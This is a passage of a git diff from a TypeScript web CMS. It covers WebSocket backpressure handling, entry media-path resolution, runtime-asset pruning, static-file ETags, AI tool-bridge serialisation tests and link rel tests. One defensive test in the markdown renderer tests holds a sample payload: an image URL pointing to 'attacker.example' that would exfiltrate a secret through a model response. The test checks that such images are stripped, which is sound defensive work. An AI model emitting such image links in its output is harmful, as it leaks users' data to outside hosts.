     reason: ResetReason,
-  ): void {
-    ws.send(encodeCollabFrame(docId, '', FRAME_RESET, encodeResetPayload(reason)))
+  ): Promise<void> {
+    await flowFor(ws).send(encodeCollabFrame(docId, '', FRAME_RESET, encodeResetPayload(reason)))
   }
 
   /**
@@ -289,7 +295,7 @@ export function createCollabSocketLayer(relay: CollabRelay) {
       // parseCollabDocId or the relay. Deliberately ungated — a read-only
       // viewer needs to know its socket is alive exactly as much as a writer.
       if (frame.frameType === FRAME_PING) {
-        ws.send(encodeCollabFrame(PRESENCE_DOC_ID, '', FRAME_PONG, new Uint8Array()))
+        await flowFor(ws).send(encodeCollabFrame(PRESENCE_DOC_ID, '', FRAME_PONG, new Uint8Array()))
         return
       }
 
@@ -318,7 +324,7 @@ export function createCollabSocketLayer(relay: CollabRelay) {
         )
         // publish() excludes nobody server-side; the sender's own state is
         // already local — awareness re-application is idempotent.
-        ws.send(encodeCollabFrame(PRESENCE_DOC_ID, '', FRAME_AWARENESS, frame.payload))
+        await flowFor(ws).send(encodeCollabFrame(PRESENCE_DOC_ID, '', FRAME_AWARENESS, frame.payload))
         return
       }
 
@@ -332,7 +338,7 @@ export function createCollabSocketLayer(relay: CollabRelay) {
         // structs the server will never receive, every later update queues
         // behind them as pending, and the screen shows edits that can never
         // publish. A visible revert is strictly better.
-        sendReset(ws, frame.docId, 'oversize')
+        await sendReset(ws, frame.docId, 'oversize')
         return
       }
 
@@ -372,14 +378,14 @@ export function createCollabSocketLayer(relay: CollabRelay) {
         // before any inbound frame has taught it a generation.
         const serverIsEmpty = Y.encodeStateVector(doc).byteLength === 1
         if (messageType !== SYNC_STEP_1 && !serverIsEmpty) {
-          sendReset(ws, frame.docId, 'stale')
+          await sendReset(ws, frame.docId, 'stale')
           return
         }
       } else if (frame.generation !== generation) {
         console.warn(
           `[collab] stale generation for ${frame.docId} from ${ws.data.userId}`,
         )
-        sendReset(ws, frame.docId, 'stale')
+        await sendReset(ws, frame.docId, 'stale')
         return
       }
 
@@ -402,7 +408,7 @@ export function createCollabSocketLayer(relay: CollabRelay) {
           // The sender's local doc holds the forbidden change — a TARGETED
           // reset makes their client rebind and reseed from the server,
           // reverting it everywhere (including their own screen).
-          sendReset(ws, frame.docId, 'refused')
+          await sendReset(ws, frame.docId, 'refused')
           return
         }
         Y.applyUpdate(doc, update, ws)
@@ -428,14 +434,14 @@ export function createCollabSocketLayer(relay: CollabRelay) {
         ws.data.probedDocs.add(frame.docId)
         const probe = encoding.createEncoder()
         syncProtocol.writeSyncStep1(probe, doc)
-        ws.send(encodeCollabFrame(frame.docId, generation, FRAME_SYNC, encoding.toUint8Array(probe)))
+        await flowFor(ws).send(encodeCollabFrame(frame.docId, generation, FRAME_SYNC, encoding.toUint8Array(probe)))
       }
 
       const decoder = decoding.createDecoder(frame.payload)
       const encoder = encoding.createEncoder()
       syncProtocol.readSyncMessage(decoder, encoder, doc, ws)
       if (encoding.length(encoder) > 0) {
-        ws.send(encodeCollabFrame(frame.docId, generation, FRAME_SYNC, encoding.toUint8Array(encoder)))
+        await flowFor(ws).send(encodeCollabFrame(frame.docId, generation, FRAME_SYNC, encoding.toUint8Array(encoder)))
       }
   }
 
@@ -443,49 +449,58 @@ export function createCollabSocketLayer(relay: CollabRelay) {
     // Transport-level ceiling — the per-frame-type caps in `message` are the
     // fine-grained guards; this stops oversized frames before they buffer.
     maxPayloadLength: MAX_SYNC_PAYLOAD_BYTES + 1024,
+    // Pub/sub frames also need recovery rather than silent delivery loss.
+    closeOnBackpressureLimit: true,
 
-    open(ws: ServerWebSocket<CollabSocketData>) {
-      ws.subscribe(docTopic(PRESENCE_DOC_ID))
-      // Late joiners need the current presence roster.
-      const known = [...awareness.getStates().keys()]
-      if (known.length > 0) {
-        const update = awarenessProtocol.encodeAwarenessUpdate(awareness, known)
-        ws.send(encodeCollabFrame(PRESENCE_DOC_ID, '', FRAME_AWARENESS, update))
-      }
+    async open(ws: ServerWebSocket<CollabSocketData>) {
+      await flowFor(ws).run(async () => {
+        ws.subscribe(docTopic(PRESENCE_DOC_ID))
+        // Late joiners need the current presence roster.
+        const known = [...awareness.getStates().keys()]
+        if (known.length > 0) {
+          const update = awarenessProtocol.encodeAwarenessUpdate(awareness, known)
+          await flowFor(ws).send(encodeCollabFrame(PRESENCE_DOC_ID, '', FRAME_AWARENESS, update))
+        }
+      })
     },
 
+    drain(ws) { flowFor(ws).drain() },
+
     async message(ws: ServerWebSocket<CollabSocketData>, raw: string | Buffer) {
       if (typeof raw === 'string') return // binary protocol only
-      let frame: CollabFrame | null = null
-      try {
-        frame = decodeCollabFrame(new Uint8Array(raw))
-        await dispatchFrame(ws, frame)
-      } catch (err) {
-        if (err instanceof BranchGoneError && frame) {
-          // The doc's branch was deleted. The client must leave the branch,
-          // not rebind — rebinding would loop through this refusal forever.
-          try {
-            sendReset(ws, frame.docId, 'gone')
-          } catch (_sendErr) {
-            // Socket already closing — nothing to recover.
+      await flowFor(ws).run(async () => {
+        let frame: CollabFrame | null = null
+        try {
+          frame = decodeCollabFrame(new Uint8Array(raw))
+          await dispatchFrame(ws, frame)
+        } catch (err) {
+          if (err instanceof BranchGoneError && frame) {
+            // The doc's branch was deleted. The client must leave the branch,
+            // not rebind — rebinding would loop through this refusal forever.
+            try {
+              await sendReset(ws, frame.docId, 'gone')
+            } catch (_sendErr) {
+              // Socket already closing — nothing to recover.
+            }
+            return
           }
-          return
-        }
-        console.error('[collab] socket message handler failed:', err)
-        // A sync-write frame whose guard/apply threw left the sender's local
-        // doc diverged from the authoritative one — reset it so their client
-        // rebinds and reseeds. Awareness/malformed frames just get dropped.
-        if (frame && frame.frameType === FRAME_SYNC && parseCollabDocId(frame.docId)) {
-          try {
-            sendReset(ws, frame.docId, 'refused')
-          } catch (_sendErr) {
-            // Socket already closing — nothing to recover.
+          console.error('[collab] socket message handler failed:', err)
+          // A sync-write frame whose guard/apply threw left the sender's local
+          // doc diverged from the authoritative one — reset it so their client
+          // rebinds and reseeds. Awareness/malformed frames just get dropped.
+          if (frame && frame.frameType === FRAME_SYNC && parseCollabDocId(frame.docId)) {
+            try {
+              await sendReset(ws, frame.docId, 'refused')
+            } catch (_sendErr) {
+              // Socket already closing — nothing to recover.
+            }
           }
         }
-      }
+      })
     },
 
     close(ws: ServerWebSocket<CollabSocketData>) {
+      flowFor(ws).close()
       for (const docId of ws.data.boundDocs) relay.release(docId)
       ws.data.boundDocs.clear()
       if (ws.data.awarenessClients.size > 0) {
diff --git a/server/collab/socketFlow.ts b/server/collab/socketFlow.ts
new file mode 100644
index 000000000..69875b9ff
--- /dev/null
+++ b/server/collab/socketFlow.ts
@@ -0,0 +1,49 @@
+/** Serialize incoming work and stop producing replies while Bun buffers a send. */
+import { collabFramePackets } from '@core/collab'
+interface FlowSocket {
+  send(frame: Uint8Array): number
+  close(code: number, reason: string): void
+}
+
+export function createSocketFlow(socket: FlowSocket) {
+  let closed = false
+  let tail = Promise.resolve()
+  let resume: (() => void) | null = null
+
+  function drain(): void {
+    const pending = resume
+    resume = null
+    pending?.()
+  }
+
+  return {
+    run(task: () => Promise<void>): Promise<void> {
+      const next = tail.then(async () => {
+        if (!closed) await task()
+      })
+      // A rejected request must not poison subsequent socket requests.
+      tail = next.catch((_err) => {})
+      return next
+    },
+    async send(frame: Uint8Array): Promise<void> {
+      for (const packet of collabFramePackets(frame)) {
+        if (closed) return
+        const result = socket.send(packet)
+        if (result === 0) {
+          // The frame was dropped: force the provider's state-vector recovery.
+          closed = true
+          drain()
+          socket.close(1011, 'Collaboration delivery failed')
+        } else if (result === -1) {
+          // Bun already queued this frame. Sending it again would duplicate it.
+          await new Promise<void>((resolve) => { resume = resolve })
+        }
+      }
+    },
+    drain,
+    close(): void {
+      closed = true
+      drain()
+    },
+  }
+}
diff --git a/server/handlers/cms/data/preview.ts b/server/handlers/cms/data/preview.ts
index c5321d602..faf1b1716 100644
--- a/server/handlers/cms/data/preview.ts
+++ b/server/handlers/cms/data/preview.ts
@@ -27,7 +27,7 @@ import { publishPage } from '@core/publisher'
 import { buildSiteCssBundle } from '../../../publish/siteCssBundle'
 import { buildPublishedSiteModuleJsMap } from '../../../publish/moduleJsBundle'
 import { getPublishVersion } from '../../../publish/publishState'
-import { prefetchLoopData, publishedDataRowToLoopItem } from '../../../publish/loopPrefetch'
+import { prefetchLoopData, publishedDataRowToEntryItem } from '../../../publish/loopPrefetch'
 import { prefetchMediaAssets } from '../../../publish/mediaPrefetch'
 import { registry } from '@core/module-engine'
 import { getLatestPublishedSiteSnapshot } from '../../../repositories/publish'
@@ -114,7 +114,7 @@ export async function handleRowPreview(
   const publicPath = buildEntryPublicPath(table.routeBase, draftPublishedRow.slug)
   const syntheticUrl = new URL(`http://localhost${publicPath}`)
   const templateContext = {
-    entryStack: [publishedDataRowToLoopItem(draftPublishedRow)],
+    entryStack: [await publishedDataRowToEntryItem(db, draftPublishedRow, table.fields)],
     route: buildRouteFrame(syntheticUrl.toString()),
   }
   const loopData = await prefetchLoopData(merged, snapshot.site, db, undefined, {
diff --git a/server/publish/branchPreview.ts b/server/publish/branchPreview.ts
index 46fe6076a..3fe86bd5d 100644
--- a/server/publish/branchPreview.ts
+++ b/server/publish/branchPreview.ts
@@ -40,7 +40,7 @@ import { getDataRowBySlug, listDataTables } from '../repositories/data'
 import { getDraftSiteDocument } from '../repositories/publish'
 import { buildPublishedSiteModuleJsMap } from './moduleJsBundle'
 import { applyPublishedHtmlPipeline } from './publishedHtmlPipeline'
-import { prefetchLoopData, publishedDataRowToLoopItem } from './loopPrefetch'
+import { prefetchLoopData, publishedDataRowToEntryItem } from './loopPrefetch'
 import { prefetchMediaAssets } from './mediaPrefetch'
 import { contentRouteFromPath, publicSlugFromPath } from './publicRouter'
 import { getPublishVersion } from './publishState'
@@ -133,7 +133,7 @@ async function resolvePreview(
     merged,
     scriptPage: chain[chain.length - 1] ?? merged,
     templateContext: {
-      entryStack: [publishedDataRowToLoopItem(published)],
+      entryStack: [await publishedDataRowToEntryItem(db, published, table.fields)],
       route: buildRouteFrame(url.toString()),
     },
     documentMeta: readEntrySeoOverride(row.cells),
diff --git a/server/publish/loopPrefetch.ts b/server/publish/loopPrefetch.ts
index e4c921980..d8b3b52a2 100644
--- a/server/publish/loopPrefetch.ts
+++ b/server/publish/loopPrefetch.ts
@@ -22,7 +22,8 @@ import { loopSourceRegistry } from '@core/loops/registry'
 import { firstImagePathFromMarkdown } from '@core/markdown/renderMarkdown'
 import { normalizeRouteBase } from '@core/templates/templateMatching'
 import { publicDataUserFromParts } from '@core/data/publicDataUser'
-import type { PublishedDataRow } from '@core/data/schemas'
+import type { DataField, DataRowCells, PublishedDataRow } from '@core/data/schemas'
+import { collectMediaIds, resolveMediaIdsToPaths, resolvedMediaOverlay } from '@core/loops'
 import type { DbClient } from '../db/client'
 import { walkRenderTree } from './renderTreeWalk'
 
@@ -40,15 +41,31 @@ interface ResolvedLoopData extends LoopFetchResult {
 type LoopDataMap = Map<string, ResolvedLoopData>
 
 /**
- * Project a published data row into a LoopItem. The single-row route uses
- * this to seed the publisher's entry stack with one frame representing the
- * row being viewed.
+ * Seed the publisher's entry stack with one frame representing the row being
+ * viewed (entry routes, branch previews, draft previews).
+ *
+ * The table's media fields are resolved to public paths exactly like the
+ * `data.rows` loop source does, so `{currentEntry.<mediaField>}` renders the
+ * same URL on an entry route as inside a loop — not the raw media id.
+ */
+export async function publishedDataRowToEntryItem(
+  db: DbClient,
+  row: PublishedDataRow,
+  fields: readonly DataField[],
+): Promise<LoopItem> {
+  const mediaPathMap = await resolveMediaIdsToPaths(db, collectMediaIds([{ cells_json: row.cells }], fields))
+  return publishedDataRowToLoopItem(row, resolvedMediaOverlay(row.cells as DataRowCells, fields, mediaPathMap))
+}
+
+/**
+ * Project a published data row into a LoopItem.
  *
  * `cells` are spread first so all table-defined fields are available in
- * bindings by their field id. System fields (id, tableId, author, etc.)
- * are overlaid after so they can never be shadowed by a user-defined cell.
+ * bindings by their field id, then `mediaOverlay` replaces media ids with
+ * resolved paths. System fields (id, tableId, author, etc.) are overlaid
+ * after so they can never be shadowed by a user-defined cell.
  */
-export function publishedDataRowToLoopItem(row: PublishedDataRow): LoopItem {
+function publishedDataRowToLoopItem(row: PublishedDataRow, mediaOverlay: DataRowCells): LoopItem {
   const tableRouteBase = normalizeRouteBase(row.tableRouteBase || `/${row.tableSlug}`)
   const permalink = `${tableRouteBase === '/' ? '' : tableRouteBase}/${row.slug}`
 
@@ -72,6 +89,7 @@ export function publishedDataRowToLoopItem(row: PublishedDataRow): LoopItem {
       // Cells — primary data, spread first so bindings can reference any
       // user-defined field by its fieldId.
       ...row.cells,
+      ...mediaOverlay,
       // System identity (overlay after cells so these are never shadowed)
       id: row.rowId,
       rowId: row.rowId,
diff --git a/server/publish/publicRenderer.ts b/server/publish/publicRenderer.ts
index c8f41a48a..6f9ee2e76 100644
--- a/server/publish/publicRenderer.ts
+++ b/server/publish/publicRenderer.ts
@@ -7,7 +7,7 @@ import { buildPublishedSiteCssBundle } from './siteCssBundle'
 import { buildPublishedSiteModuleJsMap } from './moduleJsBundle'
 import { resolveTemplateChain, resolveNotFoundTemplate, composeTemplateChain } from '@core/templates'
 import type { TemplateRenderDataContext } from '@core/templates/dynamicBindings'
-import { prefetchLoopData, publishedDataRowToLoopItem } from './loopPrefetch'
+import { prefetchLoopData, publishedDataRowToEntryItem } from './loopPrefetch'
 import { prefetchMediaAssets } from './mediaPrefetch'
 import { getPublishVersion } from './publishState'
 import type { Page } from '@core/page-tree'
@@ -16,6 +16,8 @@ import type { PublishedDataRow } from '@core/data/schemas'
 import { readEntrySeoOverride } from '@core/data/cells'
 import type { DbClient } from '../db/client'
 import type { PublishedPageSnapshot } from '../repositories/publish'
+import { getDataTable } from '../repositories/data'
+import { MAIN_SCOPE } from '../branches/scope'
 
 /**
  * URL prefix where the Bun server exposes the per-site CSS bundle. Mirrors
@@ -187,12 +189,14 @@ export async function renderPublishedDataRowTemplate(
   // through `documentMeta` and only reaches the `<head>`.
   if (typeof row.cells.title === 'string') merged.title = row.cells.title
 
+  const table = await getDataTable(ctx.db, MAIN_SCOPE, row.tableId)
+
   // Seed the entry stack with the published row + route frame from the request
   // URL. Loop interceptors push/pop iteration items on top of this stack;
   // nodes outside any loop resolve their `currentEntry` bindings against this
   // seed. page/site/viewer frames are filled by `publishPage` from the document.
   const templateContext: TemplateRenderDataContext = {
-    entryStack: [publishedDataRowToLoopItem(row)],
+    entryStack: [await publishedDataRowToEntryItem(ctx.db, row, table?.fields ?? [])],
     ...(ctx.url ? { route: buildRouteFrame(ctx.url.toString()) } : {}),
   }
 
diff --git a/server/repositories/publish.ts b/server/repositories/publish.ts
index a8a4cd31d..c813b87a2 100644
--- a/server/repositories/publish.ts
+++ b/server/repositories/publish.ts
@@ -260,6 +260,10 @@ export async function persistSitePublish(
         )
       `
       await savePublishedRuntimeAssets(tx, page.versionId, page.runtimeFiles)
+      const { rows: previousRows } = await tx<{ active_version_id: string | null }>`
+        select active_version_id from data_rows where id = ${page.pageId}
+      `
+      const previousVersionId = previousRows[0]?.active_version_id ?? null
       const now = nowIso()
       const { rowCount } = await tx`
         update data_rows
@@ -276,11 +280,39 @@ export async function persistSitePublish(
       // reaped it in between, don't leave an orphan version pointing at it.
       if (rowCount === 0) {
         await tx`delete from data_row_versions where id = ${page.versionId}`
+        continue
       }
+      await pruneSupersededRuntimeAssets(tx, page.pageId, page.versionId, previousVersionId)
     }
   })
 }
 
+/**
+ * Drop the stored runtime assets of a page's versions older than the one just
+ * superseded. Every full publish stores each page's bundled runtime files
+ * again under a fresh version path, and nothing re-activates an old version,
+ * so without this the table grew by the whole site's bundles on every publish
+ * (hundreds of MB a day on a busy site). The previous version's assets are
+ * kept so visitors still holding its HTML can load its scripts — the same
+ * window the disk's two-slot swap covers. The version rows themselves stay.
+ */
+async function pruneSupersededRuntimeAssets(
+  tx: DbClient,
+  pageId: string,
+  activeVersionId: string,
+  previousVersionId: string | null,
+): Promise<void> {
+  await tx`
+    delete from published_runtime_assets
+    where data_row_version_id in (
+      select id from data_row_versions
+      where row_id = ${pageId}
+        and id <> ${activeVersionId}
+        and id <> ${previousVersionId ?? ''}
+    )
+  `
+}
+
 export async function getPublishedPageBySlug(
   db: DbClient,
   slug: string,
diff --git a/server/static.ts b/server/static.ts
index f14485e6d..11d8fde38 100644
--- a/server/static.ts
+++ b/server/static.ts
@@ -136,6 +136,25 @@ export async function serveStaticFile(
     : 'no-cache'
   const mime = contentType(filePath)
 
+  // `no-cache` means "revalidate before reuse", which only saves bytes when
+  // the response carries a validator. Without one, every editor preview
+  // reload re-downloaded every image and font in full.
+  const validators = fileValidators(file.size, file.lastModified)
+  if (req && isNotModified(req, validators, file.lastModified)) {
+    return new Response(null, {
+      status: 304,
+      headers: {
+        // Upload hardening needs the MIME even without a response body;
+        // otherwise revalidation turns inert images into attachments.
+        'content-type': mime,
+        'cache-control': cacheControl,
+        ...validators,
+        // Same `vary` as the 200 this revalidates (compressed bodies only).
+        ...(isCompressible(filePath, file.size) ? { 'vary': 'accept-encoding' } : {}),
+      },
+    })
+  }
+
   const buffer = await file.arrayBuffer()
   const bytes = new Uint8Array(buffer) as ResponseBytes
   const acceptEncoding = req?.headers.get('accept-encoding') ?? null
@@ -154,6 +173,7 @@ export async function serveStaticFile(
         // Tells caches the response varies based on the request encoding,
         // so a gzip-only client doesn't get served a cached brotli payload.
         'vary': 'accept-encoding',
+        ...validators,
       },
     })
   }
@@ -162,10 +182,39 @@ export async function serveStaticFile(
     headers: {
       'content-type': mime,
       'cache-control': cacheControl,
+      ...validators,
     },
   })
 }
 
+/**
+ * Weak ETag from size + mtime: any rewrite of the file (a media replace that
+ * keeps its path, a redeploy) changes it. Weak, because the same validator
+ * covers the identity, gzip and brotli bodies.
+ */
+function fileValidators(size: number, mtimeMs: number): { etag: string; 'last-modified': string } {
+  return {
+    etag: `W/"${size.toString(36)}-${Math.floor(mtimeMs).toString(36)}"`,
+    'last-modified': new Date(mtimeMs).toUTCString(),
+  }
+}
+
+/** RFC 9110 §13.1: `If-None-Match` wins; `If-Modified-Since` only without it. */
+function isNotModified(req: Request, validators: { etag: string }, mtimeMs: number): boolean {
+  if (req.method !== 'GET' && req.method !== 'HEAD') return false
+  const ifNoneMatch = req.headers.get('if-none-match')
+  if (ifNoneMatch !== null) {
+    const opaque = (tag: string) => tag.trim().replace(/^W\//, '')
+    const current = opaque(validators.etag)
+    return ifNoneMatch.split(',').some((tag) => tag.trim() === '*' || opaque(tag) === current)
+  }
+  const ifModifiedSince = req.headers.get('if-modified-since')
+  if (ifModifiedSince === null) return false
+  const since = Date.parse(ifModifiedSince)
+  // HTTP dates have whole-second precision.
+  return Number.isFinite(since) && Math.floor(mtimeMs / 1000) * 1000 <= since
+}
+
 // ---------------------------------------------------------------------------
 // Admin shell — pre-rendered login skeleton for unauthenticated visitors.
 // ---------------------------------------------------------------------------
diff --git a/src/__tests__/agent/markdown.test.ts b/src/__tests__/agent/markdown.test.ts
index 565c09d6a..fe2f3d4b8 100644
--- a/src/__tests__/agent/markdown.test.ts
+++ b/src/__tests__/agent/markdown.test.ts
@@ -79,4 +79,11 @@ describe('renderMarkdownToHtml', () => {
     const html = renderMarkdownToHtml('first line\nsecond line')
     expect(html).toContain('<br>')
   })
+
+  it('drops remote images so a model response cannot exfiltrate through an image URL', () => {
+    const html = renderMarkdownToHtml('Done.\n\n![x](https://attacker.example/?d=secret)\n\n<img src="https://attacker.example/b">')
+    expect(html).not.toContain('<img')
+    expect(html).not.toContain('attacker.example')
+    expect(html).toContain('Done.')
+  })
 })
diff --git a/src/__tests__/ai/bridgeTimeoutAbort.test.ts b/src/__tests__/ai/bridgeTimeoutAbort.test.ts
index 338daa63a..02908d2c2 100644
--- a/src/__tests__/ai/bridgeTimeoutAbort.test.ts
+++ b/src/__tests__/ai/bridgeTimeoutAbort.test.ts
@@ -108,3 +108,87 @@ describe('bridge snapshot refresh', () => {
     destroy()
   })
 })
+
+/**
+ * The MCP editor runs relayed tools one at a time. Pushing a whole batch at
+ * once started every call's timeout at push time, so calls queued behind slow
+ * ones timed out before the editor even reached them. A serial bridge emits
+ * the next request only after the previous one settles.
+ */
+describe('serial bridge delivery', () => {
+  function serialBridge(timeoutMs = 1000, signal?: AbortSignal) {
+    const requests: string[] = []
+    const created = createBridge(
+      (ev: AiStreamEvent) => {
+        if (ev.type === 'toolRequest') requests.push(ev.requestId)
+      },
+      signal,
+      timeoutMs,
+      undefined,
+      { serial: true },
+    )
+    return { ...created, requests }
+  }
+
+  test('emits the next request only after the previous one settles', async () => {
+    const { bridgeId, bridge, destroy, requests } = serialBridge()
+    const first = bridge.callBrowser('a', {})
+    const second = bridge.callBrowser('b', {})
+    expect(requests).toHaveLength(1)
+
+    expect(resolveBridgeToolResult(bridgeId, requests[0], { ok: true, data: 1 })).toBe(true)
+    await expect(first).resolves.toMatchObject({ ok: true })
+    expect(requests).toHaveLength(2)
+
+    expect(resolveBridgeToolResult(bridgeId, requests[1], { ok: true, data: 2 })).toBe(true)
+    await expect(second).resolves.toMatchObject({ ok: true })
+    destroy()
+  })
+
+  test('a queued call’s timeout starts when it is emitted, not when it is queued', async () => {
+    const { bridgeId, bridge, destroy, requests } = serialBridge(60)
+    const first = bridge.callBrowser('slow', {})
+    const second = bridge.callBrowser('fast', {})
+    // The first call takes most of the timeout; the second must not expire
+    // while it waits its turn.
+    await new Promise((r) => setTimeout(r, 45))
+    resolveBridgeToolResult(bridgeId, requests[0], { ok: true, data: 1 })
+    await first
+    await new Promise((r) => setTimeout(r, 30))
+    expect(resolveBridgeToolResult(bridgeId, requests[1], { ok: true, data: 2 })).toBe(true)
+    await expect(second).resolves.toMatchObject({ ok: true })
+    destroy()
+  })
+
+  test('a timed-out call releases the slot to the next one', async () => {
+    const { bridge, destroy, requests } = serialBridge(20)
+    const first = bridge.callBrowser('stuck', {})
+    const second = bridge.callBrowser('next', {})
+    await expect(first).rejects.toThrow(/timed out/i)
+    expect(requests).toHaveLength(2)
+    await expect(second).rejects.toThrow(/timed out/i)
+    destroy()
+  })
+
+  test('destroy rejects queued calls without emitting them', async () => {
+    const { bridge, destroy, requests } = serialBridge()
+    const first = bridge.callBrowser('a', {})
+    const second = bridge.callBrowser('b', {})
+    destroy()
+    await expect(first).rejects.toThrow(/ended/)
+    await expect(second).rejects.toThrow(/ended/)
+    expect(requests).toHaveLength(1)
+  })
+
+  test('abort rejects queued calls without emitting them', async () => {
+    const controller = new AbortController()
+    const { bridge, destroy, requests } = serialBridge(1000, controller.signal)
+    const first = bridge.callBrowser('a', {})
+    const second = bridge.callBrowser('b', {})
+    controller.abort()
+    await expect(first).rejects.toThrow(/abort/i)
+    await expect(second).rejects.toThrow(/abort/i)
+    expect(requests).toHaveLength(1)
+    destroy()
+  })
+})
diff --git a/src/__tests__/ai/editorBridgeLease.test.ts b/src/__tests__/ai/editorBridgeLease.test.ts
index f9867dfeb..c6066e949 100644
--- a/src/__tests__/ai/editorBridgeLease.test.ts
+++ b/src/__tests__/ai/editorBridgeLease.test.ts
@@ -11,6 +11,7 @@ import {
   getEditorBridgeForUser,
   hasEditorBridge,
 } from '../../../server/ai/mcp/editorBridge'
+import { resolveBridgeToolResult } from '../../../server/ai/runtime/transport'
 
 const sleep = (ms: number) => new Promise<void>((resolve) => setTimeout(resolve, ms))
 
@@ -28,12 +29,45 @@ function drain(stream: ReadableStream<Uint8Array>): void {
   })()
 }
 
+/**
+ * Play the editor: read the stream and answer each tool request `delayMs`
+ * after it arrives, strictly one at a time — as `useMcpWorkspaceBridge` does.
+ */
+function playEditor(stream: ReadableStream<Uint8Array>, delayMs: number): void {
+  void (async () => {
+    const reader = stream.pipeThrough(new TextDecoderStream()).getReader()
+    let bridgeId = ''
+    let buffer = ''
+    try {
+      for (;;) {
+        const { done, value } = await reader.read()
+        if (done) return
+        buffer += value
+        let nl: number
+        while ((nl = buffer.indexOf('\n')) !== -1) {
+          const line = buffer.slice(0, nl).trim()
+          buffer = buffer.slice(nl + 1)
+          if (!line) continue
+          const event = JSON.parse(line)
+          if (event.type === 'bridgeReady') bridgeId = event.bridgeId
+          if (event.type === 'toolRequest') {
+            await sleep(delayMs)
+            resolveBridgeToolResult(bridgeId, event.requestId, { ok: true, data: event.toolName })
+          }
+        }
+      }
+    } catch {
+      /* stream torn down by the test */
+    }
+  })()
+}
+
 describe('editor bridge idle lease', () => {
   it('keeps an active stream alive past the lease while tools flow, then recycles it when idle', async () => {
     const controller = new AbortController()
     const userId = `lease-user-${Date.now()}`
     const stream = createEditorBridgeStream(userId, 'site', controller.signal, { idleLeaseMs: 80 })
-    drain(stream)
+    playEditor(stream, 5)
     await sleep(10)
     expect(hasEditorBridge(userId, 'site')).toBe(true)
 
@@ -42,9 +76,7 @@ describe('editor bridge idle lease', () => {
     for (let i = 0; i < 6; i++) {
       const bridge = getEditorBridgeForUser(userId, 'site')
       expect(bridge).not.toBeNull()
-      // Fire-and-forget: nothing posts a result in this test, and the call
-      // rejects when the bridge is destroyed at the end.
-      bridge?.callBrowser('noop_tool', {}).catch(() => {})
+      await bridge?.callBrowser('noop_tool', {})
       await sleep(40)
       expect(hasEditorBridge(userId, 'site')).toBe(true)
     }
@@ -70,3 +102,43 @@ describe('editor bridge idle lease', () => {
     controller.abort()
   })
 })
+
+describe('editor bridge batch delivery', () => {
+  it('survives a batch whose serial execution outlasts the idle lease', async () => {
+    const controller = new AbortController()
+    const userId = `lease-batch-${Date.now()}`
+    const stream = createEditorBridgeStream(userId, 'site', controller.signal, { idleLeaseMs: 80 })
+
+    playEditor(stream, 50)
+    await sleep(10)
+
+    // Four calls pushed together take ~200ms to execute serially — well past
+    // the 80ms lease. Every one must still succeed.
+    const bridge = getEditorBridgeForUser(userId, 'site')
+    const results = await Promise.all(
+      ['a', 'b', 'c', 'd'].map((name) => bridge!.callBrowser(name, {})),
+    )
+    expect(results.map((r) => r.ok)).toEqual([true, true, true, true])
+    expect(hasEditorBridge(userId, 'site')).toBe(true)
+
+    controller.abort()
+  })
+
+  it('does not recycle the stream while a call is still pending', async () => {
+    const controller = new AbortController()
+    const userId = `lease-pending-${Date.now()}`
+    const stream = createEditorBridgeStream(userId, 'site', controller.signal, { idleLeaseMs: 40 })
+    drain(stream)
+    await sleep(10)
+
+    // Nothing answers: the call stays pending far past the lease. Closing the
+    // stream now would reject it while the editor may still be working on it.
+    const pending = getEditorBridgeForUser(userId, 'site')!.callBrowser('slow_tool', {})
+    pending.catch(() => {})
+    await sleep(150)
+    expect(hasEditorBridge(userId, 'site')).toBe(true)
+
+    controller.abort()
+    await expect(pending).rejects.toThrow()
+  })
+})
diff --git a/src/__tests__/base-modules-shared-render.editor.test.tsx b/src/__tests__/base-modules-shared-render.editor.test.tsx
index 90983f91a..47a3187bd 100644
--- a/src/__tests__/base-modules-shared-render.editor.test.tsx
+++ b/src/__tests__/base-modules-shared-render.editor.test.tsx
@@ -47,6 +47,16 @@ describe('LinkEditor canvas DOM matches the shared helpers', () => {
     expect(self.container.querySelector('a')?.getAttribute('rel')).toBe(null)
   })
 
+  it('merges an authored rel with the security rel exactly as the publisher does', () => {
+    const blank = renderEditor(LinkModule, { href: 'https://e.com', target: '_blank', htmlAttributes: { rel: 'nofollow' } })
+    const published = LinkModule.render({ ...LinkModule.defaults, href: 'https://e.com', target: '_blank', htmlAttributes: { rel: 'nofollow' } }, []).html
+    expect(blank.container.querySelector('a')?.getAttribute('rel')).toBe('nofollow noopener noreferrer')
+    expect(published).toContain('rel="nofollow noopener noreferrer"')
+
+    const self = renderEditor(LinkModule, { href: '/page/2/', target: '_self', htmlAttributes: { rel: 'next' } })
+    expect(self.container.querySelector('a')?.getAttribute('rel')).toBe('next')
+  })
+
   it('renders children when present, falls back to text when empty (== linkUsesChildren)', () => {
     const withChildren = renderEditor(
       LinkModule,
@@ -75,6 +85,13 @@ describe('ButtonEditor canvas DOM matches resolveButtonAnchor', () => {
     const blank = renderEditor(ButtonModule, { href: 'https://e.com', target: '_blank', label: 'Go' })
     expect(blank.container.querySelector('a')?.getAttribute('rel')).toBe(anchorRel('_blank'))
   })
+
+  it('merges an authored rel with the security rel exactly as the publisher does', () => {
+    const blank = renderEditor(ButtonModule, { href: 'https://e.com', target: '_blank', label: 'Go', htmlAttributes: { rel: 'sponsored' } })
+    const published = ButtonModule.render({ ...ButtonModule.defaults, href: 'https://e.com', target: '_blank', label: 'Go', htmlAttributes: { rel: 'sponsored' } }, []).html
+    expect(blank.container.querySelector('a')?.getAttribute('rel')).toBe('sponsored noopener noreferrer')
+    expect(published).toContain('rel="sponsored noopener noreferrer"')
+  })
 })
 
 describe('ListEditor canvas DOM matches parseItems', () => {
diff --git a/src/__tests__/base-modules-shared-render.test.ts b/src/__tests__/base-modules-shared-render.test.ts
index 0719ea3f8..abd6217ee 100644
--- a/src/__tests__/base-modules-shared-render.test.ts
+++ b/src/__tests__/base-modules-shared-render.test.ts
@@ -25,7 +25,7 @@ import { ButtonModule } from '@modules/base/button'
 import { ListModule } from '@modules/base/list'
 import { VideoModule } from '@modules/base/video'
 
-import { anchorRel, ANCHOR_TARGET_OPTIONS } from '@modules/base/shared/anchorTarget'
+import { anchorRel, mergeAnchorRel, ANCHOR_TARGET_OPTIONS } from '@modules/base/shared/anchorTarget'
 import { linkUsesChildren } from '@modules/base/link/content'
 import { resolveButtonAnchor } from '@modules/base/button/anchor'
 import { parseItems } from '@modules/base/list/items'
@@ -62,6 +62,52 @@ describe('anchorRel — single source for the noopener rule', () => {
   })
 })
 
+describe('mergeAnchorRel — one rel attribute, authored tokens plus the security rel', () => {
